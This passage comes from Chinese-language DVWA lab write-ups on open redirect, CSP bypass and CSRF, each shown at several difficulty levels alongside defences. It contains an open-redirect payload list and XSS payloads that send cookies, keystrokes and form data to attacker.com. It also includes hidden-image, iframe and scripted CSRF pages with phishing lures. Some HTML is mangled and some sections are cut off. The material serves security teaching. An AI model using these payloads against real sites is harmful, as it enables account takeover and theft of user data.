        '/var/log/security/redirects.log',
        json_encode($log) . "\n",
        FILE_APPEND
    );
}

2. 检测异常重定向模式

// 检测大量失败的重定向尝试
function detectRedirectAbuse($ip) {
    $recent_failures = countRecentFailures($ip, 300); // 5分钟

    if ($recent_failures > 10) {
        alertSecurity("Possible open redirect abuse from $ip");
        blockIP($ip, 3600); // 封禁1小时
    }
}

总结对比

特性	Low	Medium	High	Impossible
URL验证	❌ 无	正则包含	parse_url	严格白名单
域名检查	❌	弱检查	白名单	严格白名单
协议检查	❌	http/https	http/https	http/https
匹配方式	N/A	包含匹配	精确匹配	完全匹配
CSRF防护	❌	❌	❌	✅
审计日志	❌	❌	❌	✅
攻击难度	极易	简单	中等	极难

常用Payload集合

基础Payload

# 外部重定向
?redirect=https://evil.com
?redirect=http://attacker.com/phishing

# 协议相对URL
?redirect=//evil.com

# JavaScript协议
?redirect=javascript:alert(1)
?redirect=data:text/html,

绕过技巧

# 域名后缀
?redirect=http://example.com.evil.com

# @符号
?redirect=http://example.com@evil.com

# URL参数
?redirect=http://evil.com?ref=http://example.com

# Fragment
?redirect=http://evil.com#http://example.com

# 反斜杠
?redirect=http://example.com\@evil.com

# URL编码
?redirect=http://evil.com%3Furl%3Dhttp://example.com

# 换行符
?redirect=http://example.com%0D%0ALocation:%20http://evil.com

实战建议

渗透测试清单：

✅ 测试是否接受外部URL
✅ 尝试各种协议（http, https, javascript, data）
✅ 测试@符号绕过
✅ 测试域名后缀绕过
✅ 测试URL参数/fragment绕过
✅ 测试解析器差异
✅ 检查是否有确认页面

防御清单：

✅ 使用白名单
✅ 只允许相对路径（如果可能）
✅ 验证协议、域名、端口
✅ 使用ID映射
✅ 添加确认页面（外部跳转）
✅ 记录所有重定向
✅ 实施CSRF防护

道德准则：

只在授权环境测试
不构造真实钓鱼页面
学习是为了防御开放重定向攻击

DVWA - CSP Bypass 攻防练习详解

2025-11-20T15:31:37.109Z

漏洞简介

什么是CSP（Content Security Policy）？

CSP（内容安全策略）是一个额外的安全层，用于检测并削弱某些特定类型的攻击，包括跨站脚本（XSS）和数据注入攻击。

CSP的目的：

防止XSS攻击
防止点击劫持
防止数据注入
限制资源加载来源
限制脚本执行

CSP工作原理：

浏览器加载页面
    ↓
读取CSP策略（HTTP头或meta标签）
    ↓
检查每个资源和脚本
    ↓
符合策略 → 允许执行
不符合策略 → 阻止并报告

CSP指令类型：

指令	作用	示例
default-src	默认策略	default-src ‘self’
script-src	JavaScript来源	script-src ‘self’ ‘unsafe-inline’
style-src	CSS来源	style-src ‘self’
img-src	图片来源	img-src * data:
connect-src	AJAX/WebSocket来源	connect-src ‘self’
font-src	字体来源	font-src ‘self’
object-src	插件来源	object-src ‘none’
frame-src	iframe来源	frame-src ‘self’

CSP关键字：

'none' - 不允许任何来源
'self' - 只允许同源
'unsafe-inline' - 允许内联脚本（不安全）
'unsafe-eval' - 允许eval()（不安全）
'nonce-{random}' - 允许带指定nonce的脚本
'sha256-{hash}' - 允许指定哈希的脚本
https: - 只允许HTTPS
*.example.com - 允许指定域名

什么是CSP Bypass（CSP绕过）？

CSP Bypass是指攻击者通过各种技巧绕过CSP策略，执行未授权的脚本或加载恶意资源。

常见CSP Bypass技术：

不安全的配置 - 'unsafe-inline', 'unsafe-eval'
白名单域名 - 利用白名单中的JSONP端点
Nonce/Hash泄露 - 获取合法脚本的nonce
Base标签注入 - 改变相对路径的基准
文件上传漏洞 - 上传到允许的域名
开放重定向 - 利用允许域名的重定向

危害：

绕过XSS防护
执行任意JavaScript
窃取敏感数据
完全控制页面

Low 难度

攻击目标

没有设置CSP或CSP配置极其宽松，完全无防护。

后端代码分析



// ★★★ Low难度：完全没有CSP防护 ★★★
// 没有设置任何CSP HTTP头
// 任何脚本都可以执行

// 获取用户输入
$name = $_GET['name'];

// ★★★ 危险操作：直接输出用户输入，无任何过滤 ★★★
// 没有htmlspecialchars()编码
// 没有strip_tags()过滤
// 完全未防护的XSS漏洞
echo "Hello, " . $name;

?>

HTML部分：

html>
<html>
<head>
    <title>CSP Bypass - Lowtitle>
    
    
    
head>
<body>
    <h1>CSP Bypass Testh1>

    <form method="GET">
        <input type="text" name="name" placeholder="Your name">
        <button type="submit">Submitbutton>
    form>

    <div id="output">
        
        // 直接输出用户输入
        // 没有任何防护
        if(isset($_GET['name'])) {
            echo "Hello, " . $_GET['name'];
        }
        ?>
    div>
body>
html>

漏洞分析

核心问题：

无CSP策略 - 没有设置Content-Security-Policy头
无输入过滤 - 直接输出用户输入
无输出编码 - 不使用htmlspecialchars()
所有脚本可执行 - 内联、外部、eval()全部允许

HTTP响应头（缺失CSP）：

HTTP/1.1 200 OK
Server: Apache/2.4.41
Content-Type: text/html; charset=UTF-8


html>
...

攻击步骤

步骤1：基础XSS攻击（无CSP阻止）


?name=<script>alert('XSS')script>


?name=<img src=x onerror=alert('XSS')>


?name=<script src="http://evil.com/xss.js">script>

步骤2：窃取Cookie

1
2
3

?name=<script>
fetch('http://attacker.com/steal.php?c=' + document.cookie);
script>

步骤3：加载外部恶意脚本

1	?name=<script src="http://attacker.com/malware.js">script>

malware.js内容：

// 完全控制页面
document.body.innerHTML = 'Hacked!
';

// 窃取所有表单数据
document.querySelectorAll('form').forEach(form => {
    form.addEventListener('submit', e => {
        e.preventDefault();
        fetch('http://attacker.com/steal', {
            method: 'POST',
            body: new FormData(form)
        });
    });
});

// 键盘记录
document.addEventListener('keypress', e => {
    fetch('http://attacker.com/log?key=' + e.key);
});

步骤4：使用eval()

1 2	?name=<script>eval('alert("XSS")')script>

Medium 难度

攻击目标

设置了基础CSP，但配置不当，可以绕过。

后端代码分析



// ★★★ Medium难度：设置了CSP，但存在漏洞 ★★★
// 设置CSP HTTP响应头
// script-src - 限制JavaScript来源
// 'self' - 允许同源脚本
// 'unsafe-inline' - 允许内联脚本（危险！）
//
// 问题：
// 1. 'unsafe-inline'使CSP几乎失效
// 2. 任何内联的

// 恶意利用
<script src="/api/user?callback=alert">script>
<script src="/api/user?callback=eval">script>

2. 文件上传漏洞

如果可以上传文件到同源：

1
2
3

// 上传恶意JS到 /uploads/evil.js
// 然后包含

3. Angular CSP Bypass

如果使用AngularJS：


{{constructor.constructor('alert(1)')()}}

4. Service Worker注册

1 2	// 如果CSP没有限制worker-src navigator.serviceWorker.register('/evil-worker.js');

绕过方法

方法1：利用JSONP端点（需要存在JSONP）

步骤：

寻找网站的JSONP API

1
2
3

# 搜索常见JSONP参数
grep -r "callback=" .
grep -r "jsonp=" .

测试JSONP端点

1	<script src="/api/data?callback=alert">script>

如果成功，构造完整攻击

<script src="/api/data?callback=eval">
script>
<script>
// 传递恶意代码给eval
script>

方法2：文件上传+包含



alert('CSP Bypassed via Upload');
fetch('http://attacker.com/?c=' + document.cookie);


<script src="/uploads/2023/11/evil.js">script>

方法3：利用Angular/Vue等框架



{{constructor.constructor('alert(1)')()}}


<div v-html="''">div>

Impossible 难度

攻击目标

完善的CSP配置，真正安全。

后端代码分析



// ★★★ Impossible难度：完善的CSP策略 ★★★

// 生成随机nonce
// random_bytes() - 生成密码学安全的伪随机字节
// bin2hex() - 将二进制转换为十六进制字符串
// 每次页面加载生成新的nonce
$nonce = bin2hex(random_bytes(16));

// ★★★ 核心防护1：使用nonce-based CSP ★★★
// script-src 'nonce-{random}' - 只允许带指定nonce的脚本
// 'strict-dynamic' - 信任带nonce的脚本加载的脚本
// object-src 'none' - 禁止所有插件
// base-uri 'self' - 限制base标签
// require-trusted-types-for 'script' - 要求可信类型
//
// 优点：
// 1. nonce每次都不同，无法预测
// 2. 内联脚本必须有正确的nonce才能执行
// 3. 不允许'unsafe-inline'和'unsafe-eval'
// 4. 即使有XSS漏洞，也无法执行脚本
$csp = "Content-Security-Policy: " .
       "default-src 'self'; " .
       "script-src 'nonce-" . $nonce . "' 'strict-dynamic'; " .
       "object-src 'none'; " .
       "base-uri 'self'; " .
       "require-trusted-types-for 'script';";

header($csp);

// ★★★ 核心防护2：输出编码 ★★★
$name = isset($_GET['name']) ? $_GET['name'] : '';
$name = htmlspecialchars($name, ENT_QUOTES, 'UTF-8');

?>



    CSP Bypass - Impossible
    
    "Content-Security-Policy"
          content="default-src 'self'; script-src 'nonce-$nonce; ?>' 'strict-dynamic'; object-src 'none'; base-uri 'self';">


    CSP Bypass Test - Impossible

    "GET">
        "text" name="name" placeholder="Your name">
        
    


    "output">
        
        if($name) {
            // 输出已编码的内容
            echo "Hello, " . $name;
        }
        ?>

完善的防护机制

多层防御：

Nonce-based CSP - 每次请求生成随机nonce
输出编码 - htmlspecialchars()转义
严格的指令 - 禁止unsafe-inline、unsafe-eval
Trusted Types - 要求可信类型API
strict-dynamic - 信任链传播

Nonce工作原理：

服务器生成nonce: 3a8f5c9e2b1d7f4a
    ↓
设置CSP: script-src 'nonce-3a8f5c9e2b1d7f4a'
    ↓
合法脚本: <script nonce="3a8f5c9e2b1d7f4a">...script>
    ↓
浏览器检查: nonce匹配 → 允许执行
    ↓
攻击脚本: <script>alert(1)script>
    ↓
浏览器检查: 没有nonce → 阻止执行

为什么无法攻破？

所有攻击都被阻止：

攻击1：
CSP检查 → 没有nonce → 阻止
控制台: Refused to execute inline script

攻击2：
CSP检查 → 事件处理器视为内联脚本 → 阻止
控制台: Refused to execute inline event handler

攻击3：
CSP检查 → 没有nonce → 阻止
控制台: Refused to load script

攻击4：
CSP检查 → nonce错误 → 阻止
（nonce每次都不同，无法预测）

攻击5：JSONP利用

4. 实施报告机制

// CSP违规报告
header("Content-Security-Policy: default-src 'self'; report-uri /csp-report");

// 或使用report-to
header("Content-Security-Policy: default-src 'self'; report-to csp-endpoint");
header("Report-To: {\"group\":\"csp-endpoint\",\"max_age\":10886400,\"endpoints\":[{\"url\":\"/csp-report\"}]}");

接收报告：

// csp-report.php
$json = file_get_contents('php://input');
$report = json_decode($json, true);

// 记录违规
file_put_contents('csp-violations.log',
    date('Y-m-d H:i:s') . ' - ' .
    $report['csp-report']['blocked-uri'] .
    "\n",
    FILE_APPEND
);

5. 结合其他安全头

// 完整的安全头配置
header("Content-Security-Policy: default-src 'self'; script-src 'nonce-$nonce' 'strict-dynamic'; object-src 'none'; base-uri 'self';");
header("X-Content-Type-Options: nosniff");
header("X-Frame-Options: SAMEORIGIN");
header("X-XSS-Protection: 1; mode=block");
header("Referrer-Policy: strict-origin-when-cross-origin");
header("Permissions-Policy: geolocation=(), microphone=(), camera=()");

框架层面

Laravel示例

// 中间件：app/Http/Middleware/ContentSecurityPolicy.php
namespace App\Http\Middleware;

class ContentSecurityPolicy
{
    public function handle($request, $next)
    {
        $nonce = bin2hex(random_bytes(16));
        $request->attributes->set('csp-nonce', $nonce);

        $response = $next($request);

        $csp = "default-src 'self'; " .
               "script-src 'nonce-$nonce' 'strict-dynamic'; " .
               "object-src 'none'; " .
               "base-uri 'self';";

        $response->headers->set('Content-Security-Policy', $csp);

        return $response;
    }
}

Express.js示例

const crypto = require('crypto');
const helmet = require('helmet');

app.use((req, res, next) => {
    res.locals.nonce = crypto.randomBytes(16).toString('hex');
    next();
});

app.use(helmet.contentSecurityPolicy({
    directives: {
        defaultSrc: ["'self'"],
        scriptSrc: [(req, res) => `'nonce-${res.locals.nonce}'`, "'strict-dynamic'"],
        objectSrc: ["'none'"],
        baseUri: ["'self'"]
    }
}));


<script nonce="<%= nonce %>">
    console.log('Safe script');
script>

监控层面

1. CSP报告分析

// 分析CSP违规报告
const reports = loadCSPReports();

// 统计最常见的违规
const violations = {};
reports.forEach(report => {
    const uri = report['blocked-uri'];
    violations[uri] = (violations[uri] || 0) + 1;
});

// 输出Top 10违规
console.log('Top 10 CSP Violations:');
Object.entries(violations)
    .sort((a, b) => b[1] - a[1])
    .slice(0, 10)
    .forEach(([uri, count]) => {
        console.log(`${uri}: ${count} times`);
    });

2. 自动化测试

// 使用CSP Evaluator检查策略
const csp = "default-src 'self'; script-src 'unsafe-inline'";
const result = evaluateCSP(csp);

if (result.hasUnsafeInline) {
    console.error('❌ CSP contains unsafe-inline');
}

总结对比

特性	Low	Medium	High	Impossible
CSP策略	❌ 无	有但unsafe-inline	严格script-src	Nonce-based
输出编码	❌	❌	✅	✅
内联脚本	✅ 允许	✅ 允许	❌ 禁止	❌ 禁止
外部脚本	✅ 允许	❌ 禁止	❌ 禁止	❌ 需nonce
eval()	✅ 允许	✅ 允许	❌ 禁止	❌ 禁止
事件处理器	✅ 允许	✅ 允许	❌ 禁止	❌ 禁止
JSONP攻击	✅ 可行	✅ 可行	✅ 可能	❌ 不可行
攻击难度	极易	简单	难	极难

常用CSP策略模板

1. 严格策略（推荐）

Content-Security-Policy:
    default-src 'self';
    script-src 'nonce-{random}' 'strict-dynamic';
    style-src 'self' 'nonce-{random}';
    img-src 'self' data: https:;
    font-src 'self';
    connect-src 'self';
    object-src 'none';
    base-uri 'self';
    form-action 'self';
    frame-ancestors 'none';
    require-trusted-types-for 'script';

2. 中等策略

Content-Security-Policy:
    default-src 'self';
    script-src 'self';
    style-src 'self' 'unsafe-inline';
    img-src 'self' data:;
    font-src 'self';
    connect-src 'self';
    object-src 'none';
    base-uri 'self';

3. 开发环境（宽松）

Content-Security-Policy:
    default-src 'self';
    script-src 'self' 'unsafe-inline' 'unsafe-eval';
    style-src 'self' 'unsafe-inline';
    img-src 'self' data: *;
    font-src 'self' data:;
    connect-src 'self';

实战建议

实施CSP的步骤：

报告模式 - 先使用Content-Security-Policy-Report-Only
分析违规 - 收集和分析报告
调整策略 - 修复合法违规
强制模式 - 切换到Content-Security-Policy
持续监控 - 持续收集报告

测试工具：

CSP Evaluator (Google)
Observatory by Mozilla
SecurityHeaders.com
CSP Scanner (Burp Suite)

道德准则：

只在授权环境测试
学习是为了加强网站安全
帮助网站实施正确的CSP策略

DVWA - CSRF (跨站请求伪造) 攻防练习详解

2025-11-20T15:31:37.109Z

漏洞简介

什么是CSRF（Cross-Site Request Forgery）？

CSRF是一种攻击方式，攻击者诱导受害者在已登录的Web应用程序上执行非本意的操作。

攻击原理：

受害者登录了目标网站A（如网银）
浏览器保存了网站A的Cookie
受害者访问攻击者构造的恶意网站B
恶意网站B向网站A发起请求
浏览器自动带上网站A的Cookie
网站A认为是合法请求，执行操作

危害：

修改用户密码
转账汇款
修改个人资料
发送恶意邮件
购买商品
删除数据

与XSS的区别：

XSS：注入恶意代码在目标网站执行
CSRF：利用用户的登录状态发起请求

Low 难度

攻击目标

无任何CSRF防护的密码修改功能。

后端代码分析



// 检查是否提交了修改密码的请求
// isset() - 检查变量是否已设置且非NULL
// $_GET - 从URL参数获取数据
if( isset( $_GET[ 'Change' ] ) ) {

    // 获取新密码和确认密码
    // $_GET[ 'password_new' ] - 新密码
    // $_GET[ 'password_conf' ] - 确认密码
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // ★★★ 问题1：只检查两次输入是否一致，不验证旧密码 ★★★
    // == - 比较运算符，判断两个值是否相等
    if( $pass_new == $pass_conf ) {

        // 两次密码输入一致

        // 对密码进行MD5哈希
        // md5() - 将字符串转换为32位十六进制MD5哈希值
        $pass_new = md5( $pass_new );

        // ★★★ 问题2：SQL注入漏洞 - 直接拼接变量 ★★★
        // $_SESSION[ 'username' ] - 从session获取当前登录用户名
        // 这里存在SQL注入风险（虽然session相对可信）
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = mysql_real_escape_string( $pass_new );

        // 构建SQL更新语句
        // UPDATE - SQL更新命令
        // SET password = '$pass_new' - 设置新密码
        // WHERE user = ... - 指定要更新的用户
        $query  = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $_SESSION[ 'username' ] . "';";

        // 执行SQL查询
        // mysql_query() - 执行MySQL查询（已废弃）
        $result = mysql_query( $query ) or die( '' . mysql_error() . '
' );

        // 输出成功信息
        $html .= "Password Changed.
";
    }
    else {
        // 两次密码输入不一致

        // 输出错误信息
        $html .= "Passwords did not match.
";
    }

    // 关闭数据库连接
    mysql_close();
}

?>

漏洞分析

核心问题：

使用GET请求 - 敏感操作应该用POST
无CSRF Token - 无法验证请求来源
无验证码 - 可以自动化攻击
不验证旧密码 - 只要用户登录就能改密码
无Referer检查 - 不验证请求来源页面

攻击条件：

受害者已登录DVWA
受害者访问攻击者页面
浏览器会自动发送Cookie

攻击步骤

方法1：构造恶意链接

步骤1：分析正常请求

正常修改密码的URL：

1	http://dvwa.local/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change

步骤2：创建攻击页面

创建 csrf_attack.html：

html>
<html>
<head>
    <title>恭喜中奖！title>
head>
<body>
    <h1>恭喜您中奖了！h1>
    <p>点击下方按钮领取奖品p>

    
    <a href="http://dvwa.local/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change">
        领取奖品
    a>
body>
html>

步骤3：诱导用户点击

受害者已登录DVWA
受害者点击”领取奖品”链接
浏览器向DVWA发送请求（自动带上Cookie）
DVWA认为是合法请求，修改密码为”hacked”
受害者密码被修改，但可能不知情

方法2：自动攻击（无需点击）

使用图片标签自动发起请求：

html>
<html>
<head>
    <title>热门新闻title>
head>
<body>
    <h1>今日头条h1>
    <p>正在加载内容...p>

    
    
    
    <img src="http://dvwa.local/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change"
         width="0" height="0" border="0" style="display:none;">
body>
html>

原理：

浏览器加载页面时自动请求图片
即使是GET请求，浏览器也会发送
Cookie自动附加
用户完全不知道发生了什么

方法3：使用iframe隐藏攻击

html>
<html>
<head>
    <title>正常网页title>
head>
<body>
    <h1>欢迎访问我的博客h1>
    <p>这里是一些有趣的内容...p>

    
    <iframe src="http://dvwa.local/dvwa/vulnerabilities/csrf/?password_new=pwned&password_conf=pwned&Change=Change"
            width="0" height="0" frameborder="0" style="display:none;">
    iframe>
body>
html>

方法4：使用JavaScript自动提交

html>
<html>
<head>
    <title>加载中...title>
head>
<body>
    <h1>页面加载中，请稍候...h1>

    <script>
        // ★★★ JavaScript自动发起请求 ★★★
        // 页面加载完成后自动执行
        window.onload = function() {
            // 创建img元素
            var img = new Image();
            // 设置src，浏览器会自动发送GET请求
            img.src = "http://dvwa.local/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change";
            // 请求完成后重定向到正常页面（掩盖踪迹）
            setTimeout(function() {
                window.location.href = "http://www.example.com";
            }, 1000);
        };
    script>
body>
html>

实战演示

完整攻击流程：

攻击者准备
- 创建 csrf_attack.html
- 上传到自己的服务器 http://evil.com/csrf_attack.html
诱导受害者
- 发送邮件：”您有一份重要文件待查看：http://evil.com/csrf_attack.html"
- 社交网络分享
- 论坛发帖
受害者操作
- 已登录DVWA（Cookie有效）
- 点击链接访问 evil.com/csrf_attack.html
- 页面自动加载，发送恶意请求
攻击完成
- DVWA密码被改为”hacked”
- 攻击者可以用新密码登录
- 受害者可能很久才发现

Medium 难度

攻击目标

添加了Referer检查，但可以绕过。

后端代码分析



// 检查是否提交了修改密码的请求
if( isset( $_GET[ 'Change' ] ) ) {

    // ★★★ 新增：检查Referer头部 ★★★
    // $_SERVER['HTTP_REFERER'] - HTTP Referer头，表示请求来源页面
    // 浏览器会自动设置这个值，表示从哪个页面跳转过来的
    // stripos() - 查找字符串首次出现的位置（不区分大小写）
    // 参数1：被搜索的字符串（Referer）
    // 参数2：要查找的字符串（服务器名）
    // 返回值：找到返回位置（>= 0），未找到返回false
    // !== false - 严格不等于false（必须找到）
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {

        // Referer包含服务器名，认为是合法请求

        // 获取新密码
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // 验证两次密码是否一致
        if( $pass_new == $pass_conf ) {

            // MD5加密
            $pass_new = md5( $pass_new );

            // 转义特殊字符
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = mysql_real_escape_string( $pass_new );

            // 更新密码
            $query  = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $_SESSION[ 'username' ] . "';";
            $result = mysql_query( $query ) or die( '' . mysql_error() . '
' );

            $html .= "Password Changed.
";
        }
        else {
            $html .= "Passwords did not match.
";
        }
    }
    else {
        // ★★★ Referer检查失败 ★★★
        // 输出错误信息
        $html .= "That request didn't look correct.
";
    }

    mysql_close();
}

?>

新增防护

Referer检查 - 验证请求是否来自本站

仍存在的漏洞

Referer可以伪造 - 浏览器可以设置
检查不严格 - 只检查是否包含服务器名
仍使用GET请求

绕过方法

方法1：文件名包含目标域名

原理：

// 代码检查
stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']) !== false

// $_SERVER['SERVER_NAME'] = 'dvwa.local'
// 只要Referer包含 'dvwa.local' 就能通过

绕过方式：

创建文件名包含目标域名的HTML文件：

文件名：dvwa.local.html

html>
<html>
<head>
    <title>攻击页面title>
head>
<body>
    <h1>中奖通知h1>

    
    
    
    <img src="http://dvwa.local/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change"
         width="0" height="0" style="display:none;">
body>
html>

完整路径示例：

攻击者服务器：http://evil.com/dvwa.local.html
Referer: http://evil.com/dvwa.local.html
stripos('http://evil.com/dvwa.local.html', 'dvwa.local') = 19（找到了！）
检查通过 ✅

方法2：目录名包含目标域名

目录结构：
evil.com/
  └── dvwa.local/
        └── attack.html

访问：http://evil.com/dvwa.local/attack.html
Referer: http://evil.com/dvwa.local/attack.html
包含 'dvwa.local' ✅

方法3：查询参数包含目标域名

1
2
3

High 难度

攻击目标

添加了CSRF Token和用户交互确认。

后端代码分析



// ★★★ 新增：检查是否提供了CSRF Token ★★★
// user_token - 用户提交的token
// session_token - 服务器session中存储的正确token
if( isset( $_GET[ 'Change' ] ) ) {

    // ★★★ 核心防护：验证CSRF Token ★★★
    // checkToken() - DVWA自定义函数
    // 作用：对比用户提交的token和session中的token是否匹配
    // 如果不匹配，重定向到index.php
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Token验证通过

    // 获取新密码
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // ★★★ 新增：stripslashes()去除反斜杠 ★★★
    // stripslashes() - 删除字符串中的反斜杠\
    // 作用：清理可能的转义字符
    $pass_new  = stripslashes( $pass_new );
    $pass_conf = stripslashes( $pass_conf );

    // 验证两次密码是否一致
    if( $pass_new == $pass_conf ) {

        // MD5加密
        $pass_new = md5( $pass_new );

        // 转义特殊字符
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

        // 更新密码
        $query  = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $_SESSION[ 'username' ] . "';";
        $result = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_query($GLOBALS["___mysqli_ston"],  $query ) : false ) or die( '' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );

        $html .= "Password Changed.
";
    }
    else {
        $html .= "Passwords did not match.
";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// ★★★ 生成新的CSRF Token ★★★
// generateSessionToken() - DVWA自定义函数
// 作用：生成随机token并存储到session
// 每次页面加载都会生成新token
generateSessionToken();

?>

新增防护

CSRF Token验证 - 每个请求必须携带有效token
Token随机生成 - 每次页面加载生成新token
stripslashes() - 额外输入过滤

仍存在的漏洞

仍使用GET请求 - Token可能被记录
Token可以被提取 - 通过XSS或其他方式

绕过方法

方法1：结合XSS漏洞

如果目标网站存在XSS漏洞，可以：

// 假设DVWA存在XSS漏洞
// 注入JavaScript代码提取token

方法2：社会工程学

虽然有token，但可以通过以下方式：

钓鱼攻击
- 创建仿冒的DVWA页面
- 诱导用户输入密码
- 实际上提交到攻击者服务器
中间人攻击
- 拦截用户请求
- 提取token
- 发起攻击

Impossible 难度

攻击目标

完善的CSRF防护，几乎无法攻破。

后端代码分析



// ★★★ 改进1：使用POST方法 ★★★
// $_POST - 从POST请求体获取数据，不会出现在URL中
// 更安全，不会被记录在浏览器历史、服务器日志等
if( isset( $_POST[ 'Change' ] ) ) {

    // ★★★ CSRF Token验证 ★★★
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // 获取当前密码（★★★ 新增 ★★★）
    // 这是关键改进：必须输入当前密码才能修改
    $pass_curr = $_POST[ 'password_current' ];

    // 获取新密码
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // 清理输入
    $pass_curr = stripslashes( $pass_curr );
    $pass_new  = stripslashes( $pass_new );
    $pass_conf = stripslashes( $pass_conf );

    // MD5加密当前密码（用于验证）
    $pass_curr = md5( $pass_curr );

    // 转义特殊字符（防SQL注入）
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_new  = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // ★★★ 改进2：验证当前密码是否正确 ★★★
    // 查询数据库，检查当前密码是否匹配
    // 这样即使有CSRF攻击，攻击者也不知道用户的当前密码
    $query  = "SELECT password FROM `users` WHERE user = '" . $_SESSION[ 'username' ] . "' AND password = '$pass_curr';";
    $result = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_query($GLOBALS["___mysqli_ston"],  $query ) : false );

    // ★★★ 多重验证 ★★★
    // 条件1：当前密码验证通过
    // 条件2：新密码和确认密码一致
    // mysqli_num_rows($result) - 返回结果行数
    // == 1 表示找到了匹配的密码（当前密码正确）
    if( ( $result && ( mysqli_num_rows( $result ) == 1 ) ) && ( $pass_new == $pass_conf ) ) {

        // 所有验证通过

        // MD5加密新密码
        $pass_new = md5( $pass_new );

        // 更新密码
        $query  = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $_SESSION[ 'username' ] . "';";
        $result = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_query($GLOBALS["___mysqli_ston"],  $query ) : false ) or die( '' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );

        $html .= "Password Changed.
";
    }
    else {
        // 验证失败

        // 输出错误信息（不透露具体原因，安全实践）
        $html .= "Either your current password is incorrect or the new passwords did not match.
";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// 生成新的CSRF Token
generateSessionToken();

?>

完善的防护机制

POST请求 - 密码不出现在URL
CSRF Token - 每次请求必须有效token
验证当前密码 - 必须知道旧密码才能改
新密码确认 - 两次输入必须一致
SQL注入防护 - 使用mysqli_real_escape_string
错误信息模糊 - 不透露具体失败原因

为什么无法攻破？

攻击者的困境：

CSRF攻击需要：
1. 有效的CSRF Token ✓（可能通过XSS获取）
2. 知道用户当前密码 ✗（攻击者不知道！）

即使构造了请求：
POST /dvwa/vulnerabilities/csrf/
password_current=?????  ← 攻击者不知道
password_new=hacked
password_conf=hacked
user_token=有效token

结果：当前密码验证失败，攻击失败

防御层级：

Token验证 → 防止简单CSRF
当前密码验证 → 即使有token也无法攻击
POST请求 → 避免信息泄露
双重密码确认 → 防止输入错误

防御建议

代码层面

1. 使用CSRF Token（推荐）

// 生成token
session_start();
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// 在表单中嵌入token
"hidden" name="csrf_token" value="$_SESSION['csrf_token']; ?>">

// 验证token
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die('CSRF token validation failed');
}

2. 验证Referer头（辅助）

// 严格的Referer检查
$referer = $_SERVER['HTTP_REFERER'] ?? '';
$host = $_SERVER['HTTP_HOST'];

if (!str_starts_with($referer, "https://$host/")) {
    die('Invalid referer');
}

3. 使用SameSite Cookie属性

// 设置Cookie时添加SameSite属性
